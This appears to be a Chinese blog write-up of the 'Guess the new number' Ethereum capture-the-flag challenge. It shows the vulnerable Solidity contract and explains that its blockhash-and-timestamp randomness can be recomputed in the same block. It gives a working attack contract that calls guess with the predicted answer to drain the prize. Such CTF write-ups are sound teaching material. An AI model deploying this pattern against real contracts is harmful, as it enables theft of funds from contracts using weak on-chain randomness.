抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Guess the new number

1. 题目

  • 1.1 要求: The number is now generated on-demand when a guess is made
  • 1.2 题目代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

2. 分析

  • 2.1 分析代码可知,answer是在执行 guess 函数的之后才会被赋值,也就是说不能直接通过 web3 和合约交互获取 answer ,但是我们知道同一块区块中的时间戳是同一个,也就是说让 guess 函数和自己的答案在同一个合约中

  • 2.1 什么意思呢,简单来说就是 answer 的定义为:

    uint8 answer = uint8(uint256(keccak256(block.blockhash(block.number - 1), now)));

    (其中 now 就是旧版本的时间戳,现在获取时间戳的方法是:block.timestamp )

3. 解题

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
contract Hack {

GuessTheNewNumberChallenge challenge;

function Hack(address _challenge) public {
challenge = GuessTheNewNumberChallenge(_challenge);
}

function attack() public payable {
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
challenge.guess.value(1 ether)(answer);
}

function() external payable{}
}

评论



政策 · 统计 | 本站使用 Volantis 主题设计